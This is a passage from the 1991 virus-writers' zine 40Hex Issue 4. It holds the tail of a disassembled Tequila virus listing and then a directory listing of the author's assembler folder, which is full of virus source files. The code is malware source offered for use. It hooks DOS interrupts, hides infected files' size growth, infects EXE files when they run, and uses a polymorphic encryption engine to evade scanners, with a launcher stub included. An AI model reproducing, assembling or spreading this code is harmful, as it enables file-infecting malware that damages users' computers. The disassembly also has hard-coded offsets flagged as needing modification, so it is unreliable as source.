  1683.    POP CX
  1684.    RETF 2
  1685.    CS JMP D[09A0]           ;Masm Mod. Needed
  1686.  
  1687. NEW_TIMER_TICK_INTERRUPT:
  1688.    PUSH AX
  1689.    PUSH BX
  1690.    PUSH ES
  1691.    PUSH DS
  1692.    XOR AX,AX
  1693.    MOV ES,AX
  1694.    PUSH CS
  1695.    POP DS
  1696.    ES LES BX,[084]           ;Masm Mod. Needed
  1697.    MOV AX,ES
  1698.    CMP AX,0800
  1699.    JA 05B0           ;Masm Mod. Needed
  1700.    CMP AX,W[09B6]
  1701.    JNE 0575           ;Masm Mod. Needed
  1702.    CMP BX,W[09B4]
  1703.    JE 05B0           ;Masm Mod. Needed
  1704.    MOV W[09B4],BX           ;Masm Mod. Needed
  1705.    MOV W[09B6],ES           ;Masm Mod. Needed
  1706.    XOR AX,AX
  1707.    MOV DS,AX
  1708.    CS LES BX,[09B0]           ;Masm Mod. Needed
  1709.    MOV W[070],BX           ;Masm Mod. Needed
  1710.    MOV W[072],ES           ;Masm Mod. Needed
  1711.    LES BX,[04C]           ;Masm Mod. Needed
  1712.    CS MOV W[09A0],BX           ;Masm Mod. Needed
  1713.    CS MOV W[09A2],ES           ;Masm Mod. Needed
  1714.    MOV W[04C],09BE           ;Masm Mod. Needed
  1715.    MOV W[04E],CS           ;Masm Mod. Needed
  1716.    MOV W[084],04B1           ;Masm Mod. Needed
  1717.    MOV W[086],CS           ;Masm Mod. Needed
  1718.    POP DS
  1719.    POP ES
  1720.    POP BX
  1721.    POP AX
  1722.    IRET
  1723.  
  1724. INT_21_INTERCEPT:
  1725.    CMP AH,011
  1726.    JB CHECK_FOR_HANDLE
  1727.    CMP AH,012
  1728.    JA CHECK_FOR_HANDLE
  1729.    CALL ADJUST_FCB_MATCHES
  1730.    RETF 2
  1731.  CHECK_FOR_HANDLE:
  1732.    CMP AH,04E
  1733.    JB CHECK_FOR_PREVIOUS_INSTALLATION
  1734.    CMP AH,04F
  1735.    JA CHECK_FOR_PREVIOUS_INSTALLATION
  1736.    CALL ADJUST_HANDLE_MATCHES
  1737.    RETF 2
  1738.  CHECK_FOR_PREVIOUS_INSTALLATION:
  1739.    CMP AX,0FE02
  1740.    JNE CHECK_FOR_MESSAGE_PRINT
  1741.    NOT AX
  1742.    IRET
  1743.  CHECK_FOR_MESSAGE_PRINT:
  1744.    CMP AX,0FE03
  1745.    JNE CHECK_FOR_EXECUTE
  1746.    CS CMP W[6],0           ;Masm Mod. Needed
  1747.    JNE CHAIN_TO_TRUE_INT_21
  1748.    CALL PRINT_MESSAGE
  1749.    IRET
  1750.  CHECK_FOR_EXECUTE:
  1751.    CMP AX,04B00
  1752.    JE SET_STACK
  1753.    CMP AH,04C
  1754.    JNE CHAIN_TO_TRUE_INT_21
  1755.  SET_STACK:
  1756.    CS MOV W[09A6],SP           ;Masm Mod. Needed
  1757.    CS MOV W[09A8],SS           ;Masm Mod. Needed
  1758.    CLI
  1759.    PUSH CS
  1760.    POP SS
  1761.    MOV SP,0AE5
  1762.    STI
  1763.    CMP AH,04C
  1764.    JNE TO_AN_INFECTION
  1765.    CALL PROGRAM_TERMINATION_ROUTINE
  1766.    JMP SHORT NO_INFECTION
  1767.  TO_AN_INFECTION:
  1768.    CALL INFECT_THE_FILE
  1769.  NO_INFECTION:
  1770.    CLI
  1771.    CS MOV SS,W[09A8]           ;Masm Mod. Needed
  1772.    CS MOV SP,W[09A6]           ;Masm Mod. Needed
  1773.    STI
  1774.    JMP SHORT CHAIN_TO_TRUE_INT_21
  1775.  CHAIN_TO_TRUE_INT_21:
  1776.    CS INC W[09BC]           ;Masm Mod. Needed
  1777.    CS JMP D[09B4]           ;Masm Mod. Needed
  1778.  
  1779. NEW_CRITICAL_ERROR_HANDLER:
  1780.    MOV AL,3
  1781.    IRET
  1782.  
  1783. ADJUST_FCB_MATCHES:
  1784.    PUSH BX
  1785.    PUSH ES
  1786.    PUSH AX
  1787.    MOV AH,02F
  1788.    CALL INT_21
  1789.    POP AX
  1790.    PUSHF
  1791.    CS CALL D[09B4]           ;Masm Mod. Needed
  1792.    PUSHF
  1793.    PUSH AX
  1794.    CMP AL,0FF
  1795.    JE 0664           ;Masm Mod. Needed
  1796.    ES CMP B[BX],0FF           ;Masm Mod. Needed
  1797.    JNE 064F           ;Masm Mod. Needed
  1798.    ADD BX,7
  1799.    ES MOV AL,B[BX+017]           ;Masm Mod. Needed
  1800.    AND AL,01F
  1801.    CMP AL,01F
  1802.    JNE 0664           ;Masm Mod. Needed
  1803.    ES SUB W[BX+01D],09A4           ;Masm Mod. Needed
  1804.    ES SBB W[BX+01F],0           ;Masm Mod. Needed
  1805.    POP AX
  1806.    POPF
  1807.    POP ES
  1808.    POP BX
  1809.    RET
  1810.  
  1811. ADJUST_HANDLE_MATCHES:
  1812.    PUSH BX
  1813.    PUSH ES
  1814.    PUSH AX
  1815.    MOV AH,02F
  1816.    CALL INT_21
  1817.    POP AX
  1818.    PUSHF
  1819.    CS CALL D[09B4]           ;Masm Mod. Needed
  1820.    PUSHF
  1821.    PUSH AX
  1822.    JB 0691           ;Masm Mod. Needed
  1823.    ES MOV AL,B[BX+016]           ;Masm Mod. Needed
  1824.    AND AL,01F
  1825.    CMP AL,01F
  1826.    JNE 0691           ;Masm Mod. Needed
  1827.    ES SUB W[BX+01A],09A4           ;Masm Mod. Needed
  1828.    ES SBB W[BX+01C],0           ;Masm Mod. Needed
  1829.    POP AX
  1830.    POPF
  1831.    POP ES
  1832.    POP BX
  1833.    RET
  1834.  
  1835. WRITE_TO_THE_FILE:
  1836.    MOV AH,040
  1837.    JMP 069C           ;Masm Mod. Needed
  1838.  
  1839. READ_FROM_THE_FILE:
  1840.    MOV AH,03F
  1841.    CALL 06B4           ;Masm Mod. Needed
  1842.    JB RET           ;Masm Mod. Needed
  1843.    SUB AX,CX
  1844.    RET
  1845.  
  1846. MOVE_TO_END_OF_FILE:
  1847.    XOR CX,CX
  1848.    XOR DX,DX
  1849.    MOV AX,04202
  1850.    JMP 06B4           ;Masm Mod. Needed
  1851.  
  1852. MOVE_TO_BEGINNING_OF_FILE:
  1853.    XOR CX,CX
  1854.    XOR DX,DX
  1855.    MOV AX,04200
  1856.    CS MOV BX,W[09A4]           ;Masm Mod. Needed
  1857.  
  1858. INT_21:
  1859.    CLI
  1860.    PUSHF
  1861.    CS CALL D[09B4]           ;Masm Mod. Needed
  1862.    RET
  1863.  
  1864. INFECT_THE_FILE:
  1865.    PUSH AX
  1866.    PUSH BX
  1867.    PUSH CX
  1868.    PUSH DX
  1869.    PUSH SI
  1870.    PUSH DI
  1871.    PUSH ES
  1872.    PUSH DS
  1873.    CALL CHECK_LETTERS_IN_FILENAME
  1874.    JAE GOOD_NAME
  1875.    JMP BAD_NAME
  1876.  
  1877. GOOD_NAME:
  1878.    PUSH DX
  1879.    PUSH DS
  1880.    PUSH CS
  1881.    POP DS
  1882.  
  1883. SAVE_AND_REPLACE_CRITICAL_ERROR_HANDLER:
  1884.    MOV AX,03524
  1885.    CALL INT_21
  1886.    MOV W[09B8],BX           ;Masm Mod. Needed
  1887.    MOV W[09BA],ES           ;Masm Mod. Needed
  1888.    MOV AX,02524
  1889.    MOV DX,052A
  1890.    CALL INT_21
  1891.    POP DS
  1892.    POP DX
  1893.  
  1894. SAVE_AND_REPLACE_FILE_ATTRIBUTE:
  1895.    MOV AX,04300
  1896.    CALL INT_21
  1897.    CS MOV W[09AA],CX           ;Masm Mod. Needed
  1898.    JAE 06FE           ;Masm Mod. Needed
  1899.    JMP RESTORE_CRIT_HANDLER
  1900.    MOV AX,04301
  1901.    XOR CX,CX
  1902.    CALL INT_21
  1903.    JB 077C           ;Masm Mod. Needed
  1904.  
  1905. OPEN_FILE_FOR_READ_WRITE:
  1906.    MOV AX,03D02
  1907.    CALL INT_21
  1908.    JB 0771           ;Masm Mod. Needed
  1909.    PUSH DX
  1910.    PUSH DS
  1911.    PUSH CS
  1912.    POP DS
  1913.    MOV W[09A4],AX           ;Masm Mod. Needed
  1914.  
  1915. GET_FILEDATE:
  1916.    MOV AX,05700
  1917.    CALL 06B4           ;Masm Mod. Needed
  1918.    JB 075C           ;Masm Mod. Needed
  1919.    MOV W[09AC],DX           ;Masm Mod. Needed
  1920.    MOV W[09AE],CX           ;Masm Mod. Needed
  1921.  
  1922. READ_AND_CHECK_EXE_HEADER:
  1923.    CALL 06AD           ;Masm Mod. Needed
  1924.    MOV DX,0A49
  1925.    MOV CX,01C
  1926.    CALL 069A           ;Masm Mod. Needed
  1927.    JB 075C           ;Masm Mod. Needed
  1928.    PUSH DS
  1929.    POP ES
  1930.    MOV DI,0E8
  1931.    MOV CX,020
  1932.    CMP W[0A49],05A4D           ;Masm Mod. Needed
  1933.    JNE 075C           ;Masm Mod. Needed
  1934.    MOV AX,W[0A5B]
  1935.    CLD
  1936.    REPNE SCASW
  1937.    JNE 0754           ;Masm Mod. Needed
  1938.    OR W[09AE],01F           ;Masm Mod. Needed
  1939.    JMP 075C           ;Masm Mod. Needed
  1940.    CALL READ_PAST_END_OF_FILE
  1941.    JB 075C           ;Masm Mod. Needed
  1942.    CALL ENCRYPT_AND_WRITE_TO_FILE
  1943.  
  1944. RESTORE_ALTERED_DATE:
  1945.    MOV AX,05701
  1946.    MOV DX,W[09AC]
  1947.    MOV CX,W[09AE]
  1948.    CALL 06B4           ;Masm Mod. Needed
  1949.  
  1950. CLOSE_THE_FILE:
  1951.    MOV AH,03E
  1952.    CALL 06B4           ;Masm Mod. Needed
  1953.  
  1954. RESTORE_FILE_ATTRIBUTE:
  1955.    POP DS
  1956.    POP DX
  1957.    MOV AX,04301
  1958.    CS MOV CX,W[09AA]           ;Masm Mod. Needed
  1959.    CALL INT_21
  1960.  
  1961. RESTORE_CRIT_HANDLER:
  1962.    MOV AX,02524
  1963.    CS LDS DX,[09B8]           ;Masm Mod. Needed
  1964.    CALL INT_21
  1965.  
  1966. BAD_NAME:
  1967.    POP DS
  1968.    POP ES
  1969.    POP DI
  1970.    POP SI
  1971.    POP DX
  1972.    POP CX
  1973.    POP BX
  1974.    POP AX
  1975.    RET
  1976.  
  1977. CHECK_LETTERS_IN_FILENAME:
  1978.    PUSH DS
  1979.    POP ES
  1980.    MOV DI,DX
  1981.    MOV CX,-1
  1982.    XOR AL,AL
  1983.    CLD
  1984.    REPNE SCASB
  1985.    NOT CX
  1986.    MOV DI,DX
  1987.    MOV AX,04353
  1988.    MOV SI,CX
  1989.    SCASW
  1990.    JE 07B7           ;Masm Mod. Needed
  1991.    DEC DI
  1992.    LOOP 07A5           ;Masm Mod. Needed
  1993.    MOV CX,SI
  1994.    MOV DI,DX
  1995.    MOV AL,056
  1996.    REPNE SCASB
  1997.    JE 07B7           ;Masm Mod. Needed
  1998.    CLC
  1999.    RET
  2000.    STC
  2001.    RET
  2002.  
  2003. READ_PAST_END_OF_FILE:
  2004.    MOV CX,-1
  2005.    MOV DX,-0A
  2006.    CALL 06A8           ;Masm Mod. Needed
  2007.    MOV DX,0A65
  2008.    MOV CX,8
  2009.    CALL 069A           ;Masm Mod. Needed
  2010.    JB RET           ;Masm Mod. Needed
  2011.    CMP W[0A65],0FDF0           ;Masm Mod. Needed
  2012.    JNE 07F0           ;Masm Mod. Needed
  2013.    CMP W[0A67],0AAC5           ;Masm Mod. Needed
  2014.    JNE 07F0           ;Masm Mod. Needed
  2015.    MOV CX,-1
  2016.    MOV DX,-9
  2017.    CALL 06A8           ;Masm Mod. Needed
  2018.    MOV DX,0A6B
  2019.    MOV CX,4
  2020.    CALL 0696           ;Masm Mod. Needed
  2021.    RET
  2022.    CLC
  2023.    RET
  2024.  
  2025. ENCRYPT_AND_WRITE_TO_FILE:
  2026.    CALL MOVE_TO_END_OF_FILE
  2027.    MOV SI,AX
  2028.    MOV DI,DX
  2029.    MOV BX,0A49
  2030.    MOV AX,W[BX+4]
  2031.    MUL W[0D]           ;Masm Mod. Needed
  2032.    SUB AX,SI
  2033.    SBB DX,DI
  2034.    JAE 080C           ;Masm Mod. Needed
  2035.    JMP OUT_OF_ENCRYPT
  2036.    MOV AX,W[BX+8]
  2037.    MUL W[0B]           ;Masm Mod. Needed
  2038.    SUB SI,AX
  2039.    SBB DI,DX
  2040.    MOV AX,W[BX+0E]
  2041.    MOV W[4],AX           ;Masm Mod. Needed
  2042.    ADD W[4],010           ;Masm Mod. Needed
  2043.    MUL W[0B]           ;Masm Mod. Needed
  2044.    ADD AX,W[BX+010]
  2045.    SUB AX,SI
  2046.    SBB DX,DI
  2047.    JB 083C           ;Masm Mod. Needed
  2048.    SUB AX,080
  2049.    SBB DX,0
  2050.    JB RET           ;Masm Mod. Needed
  2051.    ADD W[BX+0E],09B
  2052.    MOV AX,W[BX+016]
  2053.    ADD AX,010
  2054.    MOV W[2],AX           ;Masm Mod. Needed
  2055.    MOV AX,W[BX+014]
  2056.    MOV W[0],AX           ;Masm Mod. Needed
  2057.    CALL 06A4           ;Masm Mod. Needed
  2058.    ADD AX,09A4
  2059.    ADC DX,0
  2060.    DIV W[0D]           ;Masm Mod. Needed
  2061.    INC AX
  2062.    MOV W[0A4D],AX           ;Masm Mod. Needed
  2063.    MOV W[0A4B],DX           ;Masm Mod. Needed
  2064.    MOV DX,DI
  2065.    MOV AX,SI
  2066.    DIV W[0B]           ;Masm Mod. Needed
  2067.    MOV W[0A5F],AX           ;Masm Mod. Needed
  2068.    MOV BX,DX
  2069.    ADD DX,0960
  2070.    MOV W[0A5D],DX           ;Masm Mod. Needed
  2071.    CALL COPY_TO_HIGH_MEMORY_ENCRYPT_WRITE
  2072.    JB RET           ;Masm Mod. Needed
  2073.    OR W[09AE],01F           ;Masm Mod. Needed
  2074.    MOV BX,W[09BC]
  2075.    AND BX,01F
  2076.    SHL BX,1
  2077.    MOV AX,W[BX+0E8]
  2078.    MOV W[0A5B],AX           ;Masm Mod. Needed
  2079.    CALL MOVE_TO_BEGINNING_OF_FILE
  2080.    MOV CX,01C
  2081.    MOV DX,0A49
  2082.  
  2083. WRITE_THE_NEW_HEADER:
  2084.    CALL 0696           ;Masm Mod. Needed
  2085.  OUT_OF_ENCRYPT:
  2086.    RET
  2087.  
  2088. COPY_TO_HIGH_MEMORY_ENCRYPT_WRITE:
  2089.    PUSH BP
  2090.    XOR AH,AH
  2091.    INT 01A
  2092.    MOV AX,DX
  2093.    MOV BP,DX
  2094.    PUSH DS
  2095.    POP ES
  2096.    MOV DI,0960
  2097.    MOV SI,DI
  2098.    MOV CX,020
  2099.    CLD
  2100.    REP STOSW
  2101.    XOR DX,DX
  2102.    MOV ES,DX
  2103.    CALL ENCRYPT_STEP_ONE
  2104.    CALL ENCRYPT_STEP_TWO
  2105.    CALL ENCRYPT_STEP_THREE
  2106.    MOV B[SI],0E9
  2107.    MOV DI,028C
  2108.    SUB DI,SI
  2109.    SUB DI,3
  2110.    INC SI
  2111.    MOV W[SI],DI
  2112.    MOV AX,0A04
  2113.    CALL AX
  2114.    POP BP
  2115.    RET
  2116.  
  2117. ENCRYPT_STEP_ONE:
  2118.    DEC BP
  2119.    ES TEST B[BP],2           ;Masm Mod. Needed
  2120.    JNE 08EB           ;Masm Mod. Needed
  2121.    MOV B[SI],0E
  2122.    INC SI
  2123.    CALL GARBLER
  2124.    MOV B[SI],01F
  2125.    INC SI
  2126.    CALL GARBLER
  2127.    RET
  2128.    MOV W[SI],0CB8C
  2129.    INC SI
  2130.    INC SI
  2131.    CALL GARBLER
  2132.    MOV W[SI],0DB8E
  2133.    INC SI
  2134.    INC SI
  2135.    CALL GARBLER
  2136.    RET
  2137.  
  2138. ENCRYPT_STEP_TWO:
  2139.    AND CH,0FE
  2140.    DEC BP
  2141.    ES TEST B[BP],2           ;Masm Mod. Needed
  2142.    JE 0920           ;Masm Mod. Needed
  2143.    OR CH,1
  2144.    MOV B[SI],0BE
  2145.    INC SI
  2146.    MOV W[SI],BX
  2147.    INC SI
  2148.    INC SI
  2149.    CALL GARBLER
  2150.    ADD BX,0960
  2151.    TEST CH,1
  2152.    JE 0934           ;Masm Mod. Needed
  2153.    MOV B[SI],0BB
  2154.    INC SI
  2155.    MOV W[SI],BX
  2156.    INC SI
  2157.    INC SI
  2158.    CALL GARBLER
  2159.    ADD BX,0960
  2160.    TEST CH,1
  2161.    JE 090C           ;Masm Mod. Needed
  2162.    SUB BX,0960
  2163.    CALL GARBLER
  2164.    MOV B[SI],0B9
  2165.    INC SI
  2166.    MOV AX,0960
  2167.    MOV W[SI],AX
  2168.    INC SI
  2169.    INC SI
  2170.    CALL GARBLER
  2171.    CALL GARBLER
  2172.    RET
  2173.  
  2174. ENCRYPT_STEP_THREE:
  2175.    MOV AH,014
  2176.    MOV DH,017
  2177.    TEST CH,1
  2178.    JE 0958           ;Masm Mod. Needed
  2179.    XCHG DH,AH
  2180.    MOV DI,SI
  2181.    MOV AL,08A
  2182.    MOV W[SI],AX
  2183.    INC SI
  2184.    INC SI
  2185.    CALL GARBLER
  2186.    XOR DL,DL
  2187.    MOV B[0A39],028           ;Masm Mod. Needed
  2188.    DEC BP
  2189.    ES TEST B[BP],2           ;Masm Mod. Needed
  2190.    JE 0978           ;Masm Mod. Needed
  2191.    MOV DL,030
  2192.    MOV B[0A39],DL           ;Masm Mod. Needed
  2193.    MOV W[SI],DX
  2194.    INC SI
  2195.    INC SI
  2196.    MOV W[SI],04346
  2197.    INC SI
  2198.    INC SI
  2199.    CALL GARBLER
  2200.    MOV AX,0FE81
  2201.    MOV CL,0BE
  2202.    TEST CH,1
  2203.    JE 0993           ;Masm Mod. Needed
  2204.    MOV AH,0FB
  2205.    MOV CL,0BB
  2206.    MOV W[SI],AX
  2207.    INC SI
  2208.    INC SI
  2209.    PUSH BX
  2210.    ADD BX,040
  2211.    MOV W[SI],BX
  2212.    INC SI
  2213.    INC SI
  2214.    POP BX
  2215.    MOV B[SI],072
  2216.    INC SI
  2217.    MOV DX,SI
  2218.    INC SI
  2219.    CALL GARBLER
  2220.    MOV B[SI],CL
  2221.    INC SI
  2222.    MOV W[SI],BX
  2223.    INC SI
  2224.    INC SI
  2225.    MOV AX,SI
  2226.    SUB AX,DX
  2227.    DEC AX
  2228.    MOV BX,DX
  2229.    MOV B[BX],AL
  2230.    CALL GARBLER
  2231.    CALL GARBLER
  2232.    MOV B[SI],0E2
  2233.    INC SI
  2234.    SUB DI,SI
  2235.    DEC DI
  2236.    MOV AX,DI
  2237.    MOV B[SI],AL
  2238.    INC SI
  2239.    CALL GARBLER
  2240.    RET
  2241.  
  2242. GARBLER:
  2243.    DEC BP
  2244.    ES TEST B[BP],0F           ;Masm Mod. Needed
  2245.    JE RET           ;Masm Mod. Needed
  2246.    DEC BP
  2247.    ES MOV AL,B[BP]           ;Masm Mod. Needed
  2248.    TEST AL,2
  2249.    JE 0A0E           ;Masm Mod. Needed
  2250.    TEST AL,4
  2251.    JE 09F7           ;Masm Mod. Needed
  2252.    TEST AL,8
  2253.    JE 09F1           ;Masm Mod. Needed
  2254.    MOV W[SI],0C789
  2255.    INC SI
  2256.    INC SI
  2257.    JMP RET           ;Masm Mod. Needed
  2258.    MOV B[SI],090
  2259.    INC SI
  2260.    JMP RET           ;Masm Mod. Needed
  2261.    MOV AL,085
  2262.    DEC BP
  2263.    ES MOV AH,B[BP]           ;Masm Mod. Needed
  2264.    TEST AH,2
  2265.    JE 0A05           ;Masm Mod. Needed
  2266.    DEC AL
  2267.    OR AH,0C0
  2268.    MOV W[SI],AX
  2269.    INC SI
  2270.    INC SI
  2271.    JMP RET           ;Masm Mod. Needed
  2272.    DEC BP
  2273.    ES TEST B[BP],2           ;Masm Mod. Needed
  2274.    JE 0A1A           ;Masm Mod. Needed
  2275.    MOV AL,039
  2276.    JMP 09F9           ;Masm Mod. Needed
  2277.    MOV B[SI],0FC
  2278.    INC SI
  2279.    RET
  2280.  
  2281. MAKE_THE_DISK_WRITE:
  2282.    CALL PERFORM_ENCRYPTION_DECRYPTION
  2283.    MOV AH,040
  2284.    MOV BX,W[09A4]
  2285.    MOV DX,0
  2286.    MOV CX,09A4
  2287.    PUSHF
  2288.    CALL D[09B4]           ;Masm Mod. Needed
  2289.    JB 0A37           ;Masm Mod. Needed
  2290.    SUB AX,CX
  2291.    PUSHF
  2292.    CMP B[0A39],028           ;Masm Mod. Needed
  2293.    JNE 0A44           ;Masm Mod. Needed
  2294.    MOV B[0A39],0           ;Masm Mod. Needed
  2295.    CALL PERFORM_ENCRYPTION_DECRYPTION
  2296.    POPF
  2297.    RET
  2298.  
  2299. PERFORM_ENCRYPTION_DECRYPTION:
  2300.    MOV BX,0
  2301.    MOV SI,0960
  2302.    MOV CX,0960
  2303.    MOV DL,B[SI]
  2304.    XOR B[BX],DL
  2305.    INC SI
  2306.    INC BX
  2307.    CMP SI,09A0
  2308.    JB 0A61           ;Masm Mod. Needed
  2309.    MOV SI,0960
  2310.    LOOP 0A52           ;Masm Mod. Needed
  2311.    RET
  2312.  
  2313. THE_FILE_DECRYPTING_ROUTINE:
  2314.    PUSH CS
  2315.    POP DS
  2316.    MOV BX,4
  2317.    MOV SI,0964
  2318.    MOV CX,0960
  2319.    MOV DL,B[SI]
  2320.    ADD B[BX],DL
  2321.    INC SI
  2322.    INC BX
  2323.    CMP SI,09A4
  2324.    JB 0A7E           ;Masm Mod. Needed
  2325.    MOV SI,0964
  2326.    LOOP 0A6F           ;Masm Mod. Needed
  2327.    JMP 0390           ;Masm Mod. Needed
  2328.  
  2329. ;========== THE FOLLOWING IS NOT PART OF THE VIRUS ========
  2330. ;==========       BUT IS MERELY THE BOOSTER.       ========
  2331.  
  2332. START:
  2333.    LEA W[0104],EXIT           ;Masm Mod. Needed
  2334.    MOV W[0106],CS           ;Masm Mod. Needed
  2335.    MOV BX,CS
  2336.    SUB W[0106],BX           ;Masm Mod. Needed
  2337.    JMP INSTALL
  2338.  
  2339. EXIT:
  2340.    INT 020
  2341.  
  2342. TEQUILA ENDP
  2343. CODE_SEG ENDS
  2344. END TEQUILA
  2345. --------------------------------------------------------------------------------
  2346. 40Hex Issue 4                                            December 1991
  2347.  
  2348. Left Blank
  2349. Cause its bad
  2350. luck
  2351.     how about something real dumb like....
  2352.  
  2353.   
  2354.  
  2355. Directory of C:\TASM
  2356.  
  2357. .            <DIR>     11-28-91  11:44a
  2358. ..           <DIR>     11-28-91  11:44a
  2359. LAB          <DIR>     12-10-91   8:45p
  2360. 1605     ASM     38553 12-09-91  12:31p
  2361. 911      ASM     19267 12-10-91   7:21p
  2362. 911      SDF      7084 12-10-91  10:41p
  2363. BBRAINS  ASM      8990 08-06-91   3:04p
  2364. BMONDAY  ASM     21455 12-09-91  12:31p
  2365. BOBVIRUS ASM     21280 12-14-91   4:38p
  2366. BRU_TEST COM        11 12-16-91   1:52p
  2367. CANCER   ASM      2600 02-09-91  12:38a
  2368. DARTH2   ASM      8938 12-09-91  11:50a
  2369. DEADPOOL ASM      5324 12-14-91   1:00a
  2370. DIR2SCAN ASM       892 12-22-91   1:17a
  2371. DIR2SCAN COM       112 12-22-91   1:17a
  2372. EMFII    ASM     16755 12-08-91  10:55p
  2373. FILES    DOC      2373 12-11-91   9:58a
  2374. FUNNY    ASM      5807 12-18-91  12:46p
  2375. FUNNY    COM       208 12-18-91  12:46p
  2376. GREP     DOC     13619 03-13-91   2:02a
  2377. HAPPY    ASM      5667 12-18-91  12:32p
  2378. HAPPY    MAP        34 12-25-91  11:27a
  2379. HEADER              94 12-09-91  10:25a
  2380. JOKER    ASM     16258 11-10-91  10:55p
  2381. KILL-FSP ASM      1475 11-12-91   4:28p
  2382. KILL-FSP COM        55 12-25-91  11:26a
  2383. KILL-FSP EXE       823 12-25-91  11:26a
  2384. KILL-FSP MAP       103 12-25-91  11:26a
  2385. KILL-FSP OBJ       195 12-25-91  11:26a
  2386. MAKE     EXE     37056 03-13-91   2:02a
  2387. MANUAL   DOC     52126 03-13-91   2:02a
  2388. MBIOS    MAC     13380 03-13-91   2:02a
  2389. MG-1     ASM      4527 12-17-91  10:58a
  2390. MG-1     SDF      2319 12-17-91  10:58a
  2391. NAILME   ASM       206 12-18-91  10:01p
  2392. NAILME   COM       100 12-19-91  10:26a
  2393. OBJXREF  DOC     18404 03-13-91   2:02a
  2394. PARITY   ASM      5837 12-09-91  12:49p
  2395. PH-VIR1  TXT     22086 11-04-91   9:00p
  2396. PROLOG   DOC     23811 03-13-91   2:02a
  2397. RAGE     ASM      9335 11-29-91  12:17p
  2398. SR       EXE    117543 10-30-89   8:00a
  2399. SURVEY   DOC      4479 11-29-91   1:01p
  2400. TASM     EXE    106521 03-13-91   2:02a
  2401. TASM     TAH    167927 03-13-91   2:02a
  2402. TCREF    DOC      4954 03-13-91   2:02a
  2403. TCREF    EXE      7856 03-13-91   2:02a
  2404. TD       EXE    409360 03-13-91   2:02a
  2405. TDCONFIG TD       1208 12-06-91  12:01p
  2406. TDCONVRT EXE     35366 03-13-91   2:02a
  2407. TDDEV    EXE      8544 03-13-91   2:02a
  2408. TDHELP   TDH    126541 03-13-91   2:02a
  2409. TDINST   EXE    107638 03-13-91   2:02a
  2410. TDMAP    EXE     16944 03-13-91   2:02a
  2411. TDMEM    EXE     14256 12-24-91   8:19p
  2412. TDNMI    COM       644 03-13-91   2:02a
  2413. TDPACK   EXE     25520 03-13-91   2:02a
  2414. TDREMOTE EXE     20738 03-13-91   2:02a
  2415. TDRF     EXE     17376 03-13-91   2:02a
  2416. TDSTRIP  EXE     13868 03-13-91   2:02a
  2417. TDUMP    EXE     70554 03-13-91   2:02a
  2418. THELP    COM      9912 11-28-91  11:46a
  2419. THELP    DOC      7619 03-13-91   2:02a
  2420. TINY     ASM      4233 01-01-80  12:26a
  2421. TINY     TXT        92 01-01-80  12:25a
  2422. TINYB    ASM      4404 01-01-80  12:32a
  2423. TINYB    TXT        89 01-01-80  12:31a
  2424. TINYC    ASM      4669 01-01-80  12:14a
  2425. TINYC    TXT       118 01-01-80  12:31a
  2426. TINYD    ASM      5486 01-01-80  12:02a
  2427. TINYE    ASM      6464 01-01-80  12:09a
  2428. TLIB     EXE     35668 03-13-91   2:02a
  2429. TLINK    DOC      3837 03-13-91   2:02a
  2430. TLINK    EXE     53510 03-13-91   2:02a
  2431. TOUCH    COM      5118 03-13-91   2:02a
  2432. UPDATE   DOC     20266 03-13-91   2:02a
  2433. VIENNA   ASM     26395 09-30-87  12:59a
  2434. VIOL-C   ASM     19096 12-16-91  10:25p
  2435. VSAFE    COM     32050 03-28-91   1:00p
  2436. VWATCH   COM     12263 03-28-91   1:00p
  2437. WIN      COM     19358 12-24-91   9:52p
  2438. WINFIX   ASM      2603 12-21-91   8:18p
  2439. WINFIX   COM       357 12-24-91   9:52p
  2440. WINFIX   MAP       103 12-24-91   9:52p
  2441. WINFIX   OBJ       553 12-24-91   9:52p
  2442.        85 file(s)    1939259 bytes
  2443.  
  2444. Directory of C:\TASM\LAB
  2445.  
  2446. .            <DIR>     12-10-91   8:45p
  2447. ..           <DIR>     12-10-91   8:45p
  2448. LAB          <DIR>     12-10-91   8:46p
  2449. AMAG0589 TXT     46529 05-21-89   7:06p
  2450. AMAG1289 TXT    113270 12-16-89  12:21p
  2451. BIT      ASM       778 08-30-91   8:33p
  2452. BIT      MAP       103 12-24-91  11:31p
  2453. BIT      OBJ       192 12-24-91  11:31p
  2454. BUGOFF   ASM       903 12-25-91  11:59a
  2455. BUGOFF   COM        43 12-25-91  11:59a
  2456. BUGOFF   MAP       103 12-25-91  11:59a
  2457. BUGOFF   OBJ       198 12-25-91  11:59a
  2458. CRACK-W  ASM      1430 12-24-91   7:49p
  2459. CRACK-W  MAP       103 12-24-91   7:47p
  2460. DIR      ASM     10274 12-25-91  12:46a
  2461. DIR      MAP        99 12-25-91  12:48a
  2462. DIR      OBJ       961 12-25-91  12:48a
  2463. DIR      SDF      5032 12-25-91  12:46a
  2464. DL       ASM       416 12-14-91   6:35p
  2465. DUMB     DOC     52346 12-19-91   1:46p
  2466. ENW                  3 12-19-91   6:02p
  2467. EXE_FILE ASM        80 12-24-91  12:36a
  2468. EXE_FILE EXE       516 12-24-91  12:36a
  2469. EXE_FILE MAP       220 12-24-91  12:36a
  2470. EXE_FILE OBJ       183 12-24-91  12:36a
  2471. FUCK_UP  DOC       198 12-23-91  10:33a
  2472. FUNGUS   ASM     17120 12-21-91   1:37p
  2473. FUNGUS   SDF      4933 12-21-91   1:34p
  2474. HAP      ASM      2440 12-16-91  12:42p
  2475. HAPPY    ASM      7144 12-25-91  11:30a
  2476. HAPPY    COM       248 12-25-91  11:28a
  2477. HAPPY    MAP        99 12-25-91  11:28a
  2478. HAPPY    OBJ       424 12-25-91  11:28a
  2479. HEADER              94 12-09-91  10:25a
  2480. KENNEDY  ASM      6663 12-25-91  12:43a
  2481. KENNEDY  SDF      2803 12-25-91  12:43a
  2482. KILL     ASM       517 12-19-91   6:05p
  2483. MAR-INST BAT       205 08-31-91  12:13a
  2484. MAR-INST DOC      1037 08-31-91  12:20a
  2485. MARAUDER ASM     21997 12-23-91  10:21a
  2486. MARAUDER DOC      2305 12-20-91   9:40a
  2487. MAR_ASM! ZIP      5361 12-23-91  10:35a
  2488. MODES    ASM       244 12-25-91   7:22p
  2489. MODES    COM         7 12-25-91   7:22p
  2490. MODES    MAP        99 12-25-91   7:22p
  2491. MODES    OBJ       136 12-25-91   7:22p
  2492. NEW      ASM     21997 12-23-91  10:21a
  2493. NEW      COM       869 12-25-91  12:12a
  2494. NEW      MAP       103 12-25-91  12:12a
  2495. NEW      OBJ      1261 12-25-91  12:12a
  2496. NEW_KILL ASM      1318 12-23-91  10:29a
  2497. NEXT     ASM      2208 12-25-91  12:41a
  2498. PS       ANS      3218 11-25-91   9:43p
